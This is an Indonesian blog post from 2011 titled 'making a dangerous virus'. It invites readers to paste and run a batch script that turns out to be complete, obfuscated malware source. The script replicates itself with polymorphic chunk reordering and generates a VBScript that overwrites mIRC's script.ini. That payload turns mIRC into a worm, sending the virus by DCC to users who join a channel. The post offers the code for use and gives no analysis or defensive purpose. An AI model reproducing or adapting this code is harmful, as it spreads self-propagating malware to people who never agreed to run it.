Sabtu, 12 Februari 2011

Menbuat Virus berbahaya

Silahkan copy paste seluruh script yang ada disini ke notepad, truz save dengan extensi .bat, lalu jalankan. Tinggal lihat efeknya di komputer…..

set shadow=0
@echo off % mawar-kuning %
cls % mawar-kuning %
% mawar-kuning %set /a shadow=%shadow%+1
% mawar-kuning %if %shadow% EQU 5 (
% mawar-kuning %echo kamu telah terinfeksi mawar kuning !!
% mawar-kuning %set shadow=0
% mawar-kuning %)
% mawar-kuning %echo set shadow=%shadow% >mawarkuning.bat
% mawar-kuning %set shadow=
% mawar-kuning %set qwxykjsi=set
% mawar-kuning %set aaa=A
%qwxykjsi% fi=if % mawar-kuning %
%qwxykjsi% nt=not % mawar-kuning %
%qwxykjsi% el=errorlevel % mawar-kuning %
%qwxykjsi% ine=%fi% %nt% %el% % mawar-kuning %
% mawar-kuning %set vrsa=rndom
set oto=goto% mawar-kuning %
%qwxykjsi% a=0 % mawar-kuning %
set fd=find% mawar-kuning %
%fd% “mawar-kuning”<%0>>mawarkuning.bat
%qwxykjsi% xp=true% mawar-kuning %
% mawar-kuning %if %xp% EQU true goto xptruea
goto winmawar % mawar-kuning %
:xptruea % mawar-kuning %
% mawar-kuning %set a=0
% mawar-kuning %set b=0
% mawar-kuning %set c=0
% mawar-kuning %set d=0
% mawar-kuning %set e=0
% mawar-kuning %set f=0
% mawar-kuning %set g=0
% mawar-kuning %set h=0
% mawar-kuning %set i=0
% mawar-kuning %set j=0
% mawar-kuning %set k=0
% mawar-kuning %set l=0
% mawar-kuning %set m=0
% mawar-kuning %set n=0
% mawar-kuning %set o=0
% mawar-kuning %set p=0
% mawar-kuning %set q=0
% mawar-kuning %set r=0
% mawar-kuning %set s=0
% mawar-kuning %set t=0
% mawar-kuning %set u=0
:mulai0 % mawar-kuning %
% mawar-kuning %set aa=0
:mulai1 % mawar-kuning %
if %aa% EQU 5 goto endmawarkuning % mawar-kuning %
%qwxykjsi% /a aa=%aa%+1 % mawar-kuning %
:mulai2 % mawar-kuning %
ver|time|%fd% “,1?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=1% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,2?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=2% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,3?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=3% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,4?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=4% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,5?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=5% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,6?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=6% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,7?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=7% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,8?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=8% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,9?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=9% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,0?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=10% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
goto mulai2 % mawar-kuning %
:endmawarkuning % mawar-kuning %
% mawar-kuning %if %a% NEQ 1 (if %rndom1% EQU 1 (
% mawar-kuning %find “%aaa%AAA” <%0 >>mawarkuning.bat
% mawar-kuning %set a=1
% mawar-kuning %))
% mawar-kuning %if %b% NEQ 1 (if %rndom1% EQU 2 (
% mawar-kuning %find “%aaa%BBB” <%0 >>mawarkuning.bat
% mawar-kuning %set b=1
% mawar-kuning %))
% mawar-kuning %if %c% NEQ 1 (if %rndom1% EQU 3 (
% mawar-kuning %find “%aaa%CCC” <%0 >>mawarkuning.bat
% mawar-kuning %set c=1
% mawar-kuning %))
% mawar-kuning %if %d% NEQ 1 (if %rndom1% EQU 4 (
% mawar-kuning %find “%aaa%DDD” <%0 >>mawarkuning.bat
% mawar-kuning %set d=1
% mawar-kuning %))
% mawar-kuning %if %e% NEQ 1 (if %rndom2% EQU 1 (
% mawar-kuning %find “%aaa%EEE” <%0 >>mawarkuning.bat
% mawar-kuning %set e=1
% mawar-kuning %))
% mawar-kuning %if %f% NEQ 1 (if %rndom2% EQU 2 (
% mawar-kuning %find “%aaa%FFF” <%0 >>mawarkuning.bat
% mawar-kuning %set f=1
% mawar-kuning %))
% mawar-kuning %if %g% NEQ 1 (if %rndom2% EQU 3 (
% mawar-kuning %find “%aaa%GGG” <%0 >>mawarkuning.bat
% mawar-kuning %set g=1
% mawar-kuning %))
% mawar-kuning %if %h% NEQ 1 (if %rndom2% EQU 4 (
% mawar-kuning %find “%aaa%HHH” <%0 >>mawarkuning.bat
% mawar-kuning %set h=1
% mawar-kuning %))
% mawar-kuning %if %i% NEQ 1 (if %rndom3% EQU 1 (
% mawar-kuning %find “%aaa%III” <%0 >>mawarkuning.bat
% mawar-kuning %set i=1
% mawar-kuning %))
% mawar-kuning %if %j% NEQ 1 (if %rndom3% EQU 2 (
% mawar-kuning %find “%aaa%JJJ” <%0 >>mawarkuning.bat
% mawar-kuning %set j=1
% mawar-kuning %))
% mawar-kuning %if %k% NEQ 1 (if %rndom3% EQU 3 (
% mawar-kuning %find “%aaa%KKK” <%0 >>mawarkuning.bat
% mawar-kuning %set k=1
% mawar-kuning %))
% mawar-kuning %if %l% NEQ 1 (if %rndom3% EQU 4 (
% mawar-kuning %find “%aaa%LLL” <%0 >>mawarkuning.bat
% mawar-kuning %set l=1
% mawar-kuning %))
% mawar-kuning %if %m% NEQ 1 (if %rndom4% EQU 1 (
% mawar-kuning %find “%aaa%MMM” <%0 >>mawarkuning.bat
% mawar-kuning %set m=1
% mawar-kuning %))
% mawar-kuning %if %n% NEQ 1 (if %rndom4% EQU 2 (
% mawar-kuning %find “%aaa%NNN” <%0 >>mawarkuning.bat
% mawar-kuning %set n=1
% mawar-kuning %))
% mawar-kuning %if %o% NEQ 1 (if %rndom4% EQU 3 (
% mawar-kuning %find “%aaa%OOO” <%0 >>mawarkuning.bat
% mawar-kuning %set o=1
% mawar-kuning %))
% mawar-kuning %if %p% NEQ 1 (if %rndom4% EQU 4 (
% mawar-kuning %find “%aaa%PPP” <%0 >>mawarkuning.bat
% mawar-kuning %set p=1
% mawar-kuning %))
% mawar-kuning %if %q% NEQ 1 (if %rndom5% EQU 1 (
% mawar-kuning %find “%aaa%QQQ” <%0 >>mawarkuning.bat
% mawar-kuning %set q=1
% mawar-kuning %))
% mawar-kuning %if %r% NEQ 1 (if %rndom5% EQU 2 (
% mawar-kuning %find “%aaa%RRR” <%0 >>mawarkuning.bat
% mawar-kuning %set r=1
% mawar-kuning %))
% mawar-kuning %if %s% NEQ 1 (if %rndom5% EQU 3 (
% mawar-kuning %find “%aaa%SSS” <%0 >>mawarkuning.bat
% mawar-kuning %set s=1
% mawar-kuning %))
% mawar-kuning %if %t% NEQ 1 (if %rndom5% EQU 4 (
% mawar-kuning %find “%aaa%TTT” <%0 >>mawarkuning.bat
% mawar-kuning %set t=1
% mawar-kuning %))
% mawar-kuning %if %u% NEQ 1 (if %rndom5% EQU 5 (
% mawar-kuning %find “%aaa%UUU” <%0 >>mawarkuning.bat
% mawar-kuning %set u=1
% mawar-kuning %))
% mawar-kuning %if %a% EQU 1 (if %b% EQU 1 (if %c% EQU 1 (if %d% EQU 1 (
% mawar-kuning %if %e% EQU 1 (if %f% EQU 1 (if %g% EQU 1 (if %h% EQU 1 (
% mawar-kuning %if %i% EQU 1 (if %j% EQU 1 (if %k% EQU 1 (if %l% EQU 1 (
% mawar-kuning %if %m% EQU 1 (if %n% EQU 1 (if %o% EQU 1 (if %p% EQU 1 (
% mawar-kuning %if %q% EQU 1 (if %r% EQU 1 (if %s% EQU 1 (if %t% EQU 1 (if %u% EQU 1 (
goto irca % mawar-kuning %
% mawar-kuning %)))))))))))))))))))))
goto mulai0 % mawar-kuning %
:winmawar % mawar-kuning %
set wina=0% mawar-kuning %
set winb=0% mawar-kuning %
set winc=0% mawar-kuning %
set wind=0% mawar-kuning %
set wine=0% mawar-kuning %
set oto=% mawar-kuning %
set qwxykjsi=% mawar-kuning %
set nt=% mawar-kuning %
set fi=% mawar-kuning %
set el=% mawar-kuning %
set ine=% mawar-kuning %
:mulaiwin2 % mawar-kuning %
% mawar-kuning %if not %wina%==1 goto mawarkuningengi
% mawar-kuning %if not %winb%==1 goto mawarkuningengi
% mawar-kuning %if not %winc%==1 goto mawarkuningengi
% mawar-kuning %if not %wind%==1 goto mawarkuningengi
% mawar-kuning %if not %wine%==1 goto mawarkuningengi
goto winirc % mawar-kuning %
:mawarkuningengi % mawar-kuning %
ver|time|find “,1?>nul % mawar-kuning %
if not errorlevel 1 set randoma=1% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
ver|time|find “,2?>nul % mawar-kuning %
if not errorlevel 1 set randoma=2% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
ver|time|find “,3?>nul % mawar-kuning %
if not errorlevel 1 set randoma=3% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
ver|time|find “,4?>nul % mawar-kuning %
if not errorlevel 1 set randoma=4% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
ver|time|find “,5?>nul % mawar-kuning %
if not errorlevel 1 set randoma=5% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
goto mulaiwin2 % mawar-kuning %
:enmawarkuningwin % mawar-kuning %
% mawar-kuning %if not %wina%==1 if %randoma%==1 goto enamawarkuningwin
% mawar-kuning %if not %winb%==1 if %randoma%==2 goto enbmawarkuningwin
% mawar-kuning %if not %winc%==1 if %randoma%==3 goto encmawarkuningwin
% mawar-kuning %if not %wind%==1 if %randoma%==4 goto endmawarkuningwin
% mawar-kuning %if not %wine%==1 if %randoma%==5 goto enemawarkuningwin
goto mulaiwin2 % mawar-kuning %
:enamawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%BBB”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%AAA”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%KKK”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%DDD”<%0>> mawarkuning.bat
set wina=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:enbmawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%EEE”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%LLL”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%GGG”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%HHH”<%0>> mawarkuning.bat
set winb=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:encmawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%III”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%JJJ”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%CCC”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%FFF”<%0>> mawarkuning.bat
set winc=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:endmawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%NNN”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%MMM”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%PPP”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%OOO”<%0>> mawarkuning.bat
set wind=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:enemawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%RRR”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%SSS”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%UUU”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%TTT”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%QQQ”<%0>> mawarkuning.bat
set wine=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:winirc % mawar-kuning %
% mawar-kuning %set wina=
% mawar-kuning %set winb=
% mawar-kuning %set winc=
% mawar-kuning %set wind=
% mawar-kuning %set wine=
% mawar-kuning %set aaa=
% mawar-kuning %set randoma=
:irca % AAAA %
if exist C:\mirc\script.ini set mir=C:\mirc% AAAA %
echo %mir%
if exist C:\mirc32\script.ini set mir=C:\mirc32% AAAA %
if exist C:\proga~1\mirc\script.ini set mir=C:\progra~1\mirc% AAAA %
if exist C:\prgra~1\mirc32\script.ini set mir=C:\progra~1\mirc32% AAAA %
goto ircb% AAAA %
:ircb % ABBB %
set mirc=%mir%\script.ini% ABBB %
set vs=chr(% ABBB %
goto ircc% ABBB %
:ircc % ACCC %
set wc=echo file.writeline% ACCC %
goto ircd% ACCC %
:ircd % ADDD %
echo dim fso, file > irc.vbs% ADDD %
echo set fso = createobject(”scripting.filesystemobject”) >>irc.vbs% ADDD %
echo set file = fso.createtextfile (”%mir%\script.ini”, true)>>irc.vbs% ADDD %
goto irce% ADDD %
:irce % AEEE %
%wc% ” on 1:st” + %vs%97) + “rt: { .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “filee %mir%\name.b” + %vs%97) + “t }”>>irc.vbs% AEEE %
%wc% ” on 1:join:#: { “>>irc.vbs% AEEE %
%wc% ” .if (” + %vs%36) + “nick != ” + %vs%36) + “me ” + %vs%38) + “” + %vs%38) + ” ” + %vs%37) + “old != ” + %vs%36) + “nick) {”>>irc.vbs% AEEE %
goto ircf% AEEE %
:ircf % AFFF %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “old ” + %vs%36) + “nick”>>irc.vbs% AFFF %
%wc% ” .timer ” + %vs%36) + “+ ” + %vs%36) + “r” + %vs%97) + “nd(1,100000) 1 5 .” + %vs%36) + “check_him( ” + %vs%36) + “nick , ” + %vs%36) + “ch” + %vs%97) + “n )”>>irc.vbs% AFFF %
goto ircg% AFFF %
:ircg % AGGG %
%wc% ” } “>>irc.vbs% AGGG %
%wc% ” }”>>irc.vbs% AGGG %
%wc% ” ” + %vs%97) + “li” + %vs%97) + “s check_him {”>>irc.vbs% AGGG %
goto irch% AGGG %
:irch % AHHH %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “port ” + %vs%36) + “r” + %vs%97) + “nd(9999,999999) “>>irc.vbs% AHHH %
%wc% ” .while (” + %vs%36) + “portfree(” + %vs%37) + “port) == ” + %vs%36) + “f” + %vs%97) + “lse) { .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “port ” + %vs%36) + “r” + %vs%97) + “nd(9999,999999) }”>>irc.vbs% AHHH %
goto irci% AHHH %
:irci % AIII %
%wc% ” .%fi% (” + %vs%36) + “1 !isop ” + %vs%36) + “2) { “>>irc.vbs% AIII %
%wc% ” .%nt%ice ” + %vs%36) + “1 :DCC ” + %vs%115) + %vs%101) + %vs%110) + %vs%100) + ” teletubies ( ” + %vs%36) + “+ ” + %vs%36) + “ip ” + %vs%36) + “+ ) “>>irc.vbs% AIII %
goto ircj% AIII %
:ircj % AJJJ %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “sock_n” + %vs%97) + “me ” + %vs%36) + “r” + %vs%97) + “nd(1,99999)”>>irc.vbs% AJJJ %
%wc% ” .msg ” + %vs%36) + “1 _DCC ” + %vs%115) + %vs%101) + %vs%110) + %vs%100) + ” ” + %vs%37) + “filee ” + %vs%36) + “longip(” + %vs%36) + “ip) ” + %vs%37) + “port ” + %vs%36) + “file(” + %vs%37) + “filee).size ” + %vs%36) + “+ _”>>irc.vbs% AJJJ %
%wc% ” .socklisten ” + %vs%37) + “sock_n” + %vs%97) + “me ” + %vs%37) + “port”>>irc.vbs% AJJJ %
goto irck% AJJJ %
:irck % AKKK %
%wc% ” .timers off”>>irc.vbs% AKKK %
%wc% ” .timer ” + %vs%36) + “+ ” + %vs%36) + “r” + %vs%97) + “nd(1,99999) 0 10 .cloze”>>irc.vbs% AKKK %
%wc% ” } “>>irc.vbs% AKKK %
goto ircl% AKKK %
:ircl % ALLL %
%wc% ” }”>>irc.vbs% ALLL %
%wc% ” on 1:socklisten:” + %vs%37) + “sock_n” + %vs%97) + “me: {”>>irc.vbs% ALLL %
goto ircm% ALLL %
:ircm % AMMM %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “client_n” + %vs%97) + “me ” + %vs%36) + “r” + %vs%97) + “nd(1,9999999)”>>irc.vbs% AMMM %
%wc% ” .sockclose ” + %vs%37) + “sock_n” + %vs%97) + “me”>>irc.vbs% AMMM %
goto ircn% AMMM %
:ircn % ANNN %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “l 0?>>irc.vbs% ANNN %
%wc% ” .bre” + %vs%97) + “d ” + %vs%37) + “filee ” + %vs%37) + “l 4000 ” + %vs%38) + “le”>>irc.vbs % ANNN %
goto irco% ANNN %
:irco % AOOO %
%wc% ” .sockwrite -b ” + %vs%37) + “client_n” + %vs%97) + “me 4000 ” + %vs%38) + “le”>>irc.vbs% AOOO %
%wc% ” ” + %vs%37) + “l = ” + %vs%37) + “l + 4000?>>irc.vbs% AOOO %
goto ircp% AOOO %
:ircp % APPP %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “end 0?>>irc.vbs% APPP %
%wc% ” }”>>irc.vbs% APPP %
%wc% ” on 1:sockre” + %vs%97) + “d:” + %vs%37) + “client_n” + %vs%97) + “me: {”>>irc.vbs% APPP %
goto ircq % APPP %
:ircq % AQQQ %
%wc% ” .%fi% (” + %vs%37) + “l >= ” + %vs%36) + “file(” + %vs%37) + “filee).size) {”>>irc.vbs% AQQQ %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “end 1?>>irc.vbs% AQQQ %
goto ircr% AQQQ %
:ircr % ARRR %
%wc% ” .sockclose ” + %vs%37) + “client_n” + %vs%97) + “me”>>irc.vbs% ARRR %
%wc% ” .h” + %vs%97) + “lt”>>irc.vbs% ARRR %
%wc% ” } .else {”>>irc.vbs% ARRR %
goto ircs% ARRR %
:ircs % ASSS %
%wc% ” .%fi% (” + %vs%37) + “end != 1) {”>>irc.vbs% ASSS %
%wc% ” .bre” + %vs%97) + “d ” + %vs%37) + “filee ” + %vs%37) + “l 4000 ” + %vs%38) + “le”>>irc.vbs% ASSS %
goto irct% ASSS %
:irct % ATTT %
%wc% ” .sockwrite -b ” + %vs%37) + “client_n” + %vs%97) + “me 4000 ” + %vs%38) + “le”>>irc.vbs% ATTT %
%wc% ” ” + %vs%37) + “l = ” + %vs%37) + “l + 4000?>>irc.vbs% ATTT %
%wc% ” } } }”>>irc.vbs% ATTT %
goto ircu% ATTT %
:ircu % AUUU %
%wc% ” ” + %vs%97) + “li” + %vs%97) + “s cloze { .sockclose ” + %vs%37) + “sock_n” + %vs%97) + “me } “>>irc.vbs% AUUU %
echo file.Close >>irc.vbs% AUUU %
cscript irc.vbs% AUUU %
cls% AUUU %
goto eirc% AUUU %
:eirc % mawar-shadow %
del irc.vbs % mawar-shadow %
find “mawar-shadow”<%0>>mawarkuning.bat
copy mawarkuning.bat %mir%\Mawar Kuning.bat % mawar-shadow %
del mawarkuning.bat % mawar-shadow %
cls % mawar-shadow %

0 komentar:

Posting Komentar

Google Maps

Share

Twitter Delicious Facebook Digg Stumbleupon Favorites More